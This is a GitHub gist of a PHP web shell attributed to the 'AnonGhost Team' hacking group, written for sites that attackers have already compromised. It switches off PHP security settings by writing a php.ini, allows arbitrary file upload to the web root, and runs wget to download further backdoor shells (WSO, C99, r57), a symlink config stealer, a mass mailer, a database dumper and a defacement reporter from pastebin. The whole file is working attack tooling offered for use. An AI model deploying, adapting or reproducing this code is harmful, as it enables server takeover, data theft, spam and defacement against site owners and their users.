Skip to content

Instantly share code, notes, and snippets.

@Kaizen1337
Last active July 12, 2018 19:51
Show Gist options
  • Save Kaizen1337/a78aff66f5c962daa10eaf514de853ab to your computer and use it in GitHub Desktop.
Save Kaizen1337/a78aff66f5c962daa10eaf514de853ab to your computer and use it in GitHub Desktop.
Bypass Uplader Script
<html>
<head>
<title>AnonGhost Team</title>
<style type='text/css'>
@import url(https://fonts.googleapis.com/css?family=Ubuntu);
html {
background: #000000;
color: #ffffff;
font-family: 'Ubuntu';
font-size: 13px;
width: 100%;
}
table, th, td {
border-collapse:collapse;
font-family: Tahoma, Geneva, sans-serif;
background: transparent;
font-family: 'Ubuntu';
font-size: 13px;
}
input[type=submit] {
background: transparent;
color: #ffffff;
height: 24px;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family: 'Ubuntu';
font-size: 13px;
}
select {
width: 152px;
background: #000000;
color: white;
border: 1px solid #ffffff;
margin: 5px auto;
padding-left: 5px;
font-family: 'Ubuntu';
font-size: 13px;
}
</style>
</head>
<center><br><br>
<img src="http://4.bp.blogspot.com/-ceQOU8yDA-s/VI0BYisVOHI/AAAAAAAAEdc/ANKuBTJqxHM/s1600/agne_zps5e42fcf5.png" width="600px" height="300px"><br>
<font color='#2EFEF7' size="6">&#1205;&#824;&#1202;&#824;&#1204;</font><font color='white' size="8">AnonGhost Team</font><font color='#2EFEF7' size="6">&#1204;&#824;&#1202;&#824;&#1205;</font><br>
<body bgcolor="black">
<?php
/*
[]##############################################
[]----------------------------------------------------------------
[] Thanks to : AnonGhost Team | Lulzsec
[] Contact : https://www.facebook.com/Kaizen1337.gov
[] ---------------------------------------------------------------
[]##############################################
*/
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));
$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=#2EFEF7>NONE</font>";
echo "<b><font color='#2EFEF7'><br>Server IP : ".gethostbyname($_SERVER['HTTP_HOST'])."</b></font>";
echo "<b><font color='#2EFEF7'><br>".php_uname()."</b></font><br>";
echo "<b><font color='#2EFEF7'>Disable Functions: $show_ds</b></font><br><br>";
echo "<form method='post'>
<input type='submit' name='funct' value='Bypass Disabled Functions'>
</form>";
if($_POST['funct']) {
$file = 'php.ini';
file_put_contents($file,'safe_mode = OFF
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF');
echo "<font color='#2EFEF7'>Sukses</font>";
}
echo "<font color='white'><form method='post' enctype='multipart/form-data'>
<input type='file' name='file'>
<input type='submit' name='upload' value='Upload!'>
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
echo "upload success -> <a href='$web/$files' target='_blank'><b><u>$web/$files</u></b></a>";
} else {
echo "Failed to upload at document root.";
}
} else {
if(@copy($_FILES['file']['tmp_name'], $files)) {
echo "upload success <b>$files</b> at folder";
} else {
echo "Failed to upload";
}
}
}
echo"<table align=center>";
echo"<td>";
echo"<form method='post'> ";
echo"<select name='lucknut' style=padding:4px 10px;>";
echo"<option selected'> Summoner Tools </option>";
echo"<option value='zoneh'> ZONE-H </option>";
echo"<option value='symconf'> SYMLINK CONFIG </option>";
echo"<option value='mails'> MAILER </option>";
echo"<option value='dump'> DUMP DB </option>";
echo"<option value='wso_shell'> WSO SHELL </option>";
echo"<option value='c99_shell'> C99 SHELL </option>";
echo"<option value='r57_shell'> r57 SHELL </option>";
echo"<option value='krdp'> KRDP SHELL </option>";
echo "</select>";
echo"&nbsp;<input type='submit' class='btn btn-success btn-sm' name='enter' value='Summon!'>";
if(isset($_POST['enter'])) {
if ($_POST['lucknut'] == 'wso_shell') {
$exec=exec('wget http://pastebin.com/raw.php?i=Tpm5E10g -O wsoshell.php');
if(file_exists('./wsoshell.php')){
echo '<center><a href=./wsoshell.php target="_blank"> wso.php </a> upload sukses !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'r57_shell') {
$exec=exec('wget http://pastebin.com/raw.php?i=S9tzBgg3 -O r57shell.php');
if(file_exists('./r57shell.php')){
echo '<center><a href=./r57shell.php target="_blank"> r57shell.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'c99_shell') {
$exec=exec('wget http://pastebin.com/raw.php?i=Ms0ptnpH -O c99shell.php');
if(file_exists('./c99shell.php')){
echo '<center><a href=./c99shell.php target="_blank"> c99shell.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}else if ($_POST['lucknut'] == 'zoneh') {
$exec=exec('wget http://pastebin.com/raw.php?i=B1Dk3P8R -O zoneh.php');
if(file_exists('./zoneh.php')){
echo '<center><a href=./zoneh.php target="_blank"> zoneh.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'krdp') {
$exec=exec('wget http://pastebin.com/raw.php?i=weQnAGad -O krdp.php');
if(file_exists('./krdp.php')){
echo '<center><a href=./krdp.php target="_blank"> krdp.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'krdp') {
$exec=exec('wget http://pastebin.com/raw.php?i=weQnAGad -O krdp.php');
if(file_exists('./krdp.php')){
echo '<center><a href=./krdp.php target="_blank"> krdp.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'symconf') {
$exec=exec('wget http://pastebin.com/raw.php?i=KyLM7awc -O symconf.php');
if(file_exists('./symconf.php')){
echo '<center><a href=./symconf.php target="_blank"> symconf.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'mails') {
$exec=exec('wget http://pastebin.com/raw.php?i=6rTJ1ubw -O mail.php');
if(file_exists('./mail.php')){
echo '<center><a href=./mail.php target="_blank"> mail.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}elseif ($_POST['lucknut'] == 'dump') {
$exec=exec('wget http://pastebin.com/raw.php?i=ZG1A2s4u -O dump.php');
if(file_exists('./dump.php')){
echo '<center><a href=./dump.php target="_blank"> dump.php </a> upload success !</center>';
} else {
echo '<center>Failed to upload file</center>';
}
}
}
?>
</center>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment